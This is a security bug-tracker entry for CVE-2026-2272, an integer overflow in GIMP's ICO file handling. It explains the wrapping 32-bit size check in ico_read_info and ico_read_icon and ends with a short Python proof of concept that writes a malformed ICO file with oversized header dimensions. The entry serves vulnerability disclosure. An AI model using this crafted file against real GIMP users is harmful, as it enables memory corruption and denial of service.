Bug 2438428 (CVE-2026-2272)
| Summary: | CVE-2026-2272 gimp: GIMP: Memory corruption due to integer overflow in ICO file handling | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | OSIDB Bzimport <bzimport> |
| Component: | vulnerability | Assignee: | Product Security DevOps Team <prodsec-dev> |
| Status: | NEW --- | QA Contact: | |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | unspecified | CC: | rhel-process-autobot, watson-tool-maintainers |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | --- | |
| Doc Text: |
A flaw was found in GIMP. An integer overflow vulnerability exists when processing ICO image files, specifically in the `ico_read_info` and `ico_read_icon` functions. This issue arises because a size calculation for image buffers can wrap around due to a 32-bit integer evaluation, allowing oversized image headers to bypass security checks. A remote attacker could exploit this by providing a specially crafted ICO file, leading to a buffer overflow and memory corruption, which may result in an application level denial of service.
|
Story Points: | --- |
| Clone Of: | Environment: | ||
| Last Closed: | Type: | --- | |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 2438431 | ||
| Bug Blocks: | |||
Summary ico_read_info sizes the image and buf from ICO directory entry dimensions, but ico_read_icon trusts BITMAPINFOHEADER width/height for decoding, creating a mismatch when header dimensions are larger. The size guard data.width * data.height * 2 > maxsize is evaluated in 32‑bit guint32 and can wrap, letting oversized headers pass like this: if (data.width * data.height * 2 > maxsize) { /* ... */ } Decode loops then use large w/h and write past the buffer sized from the entry, and ico_alloc_map uses gint length math that can overflow for xor_map/and_map when dimensions are huge. Proof-of-concept import struct hdr = struct.pack("<HHH", 0, 1, 1) # IcoFileEntry: width=1, height=1, colors=0, reserved=0, planes=1, bpp=32, # size=40, offset=22 entry = struct.pack("<BBBBHHII", 1, 1, 0, 0, 1, 32, 40, 22) # BITMAPINFOHEADER: header_size=40, width=0x00100000, height=0x00200000 # (ICO height is doubled) width = 0x00100000 height = 0x00200000 bmp = struct.pack("<IIIHHIIIIII", 40, width, height, 1, 32, 0, 0, 0, 0, 0, 0) open("poc_1.ico", "wb").write(hdr + entry + bmp)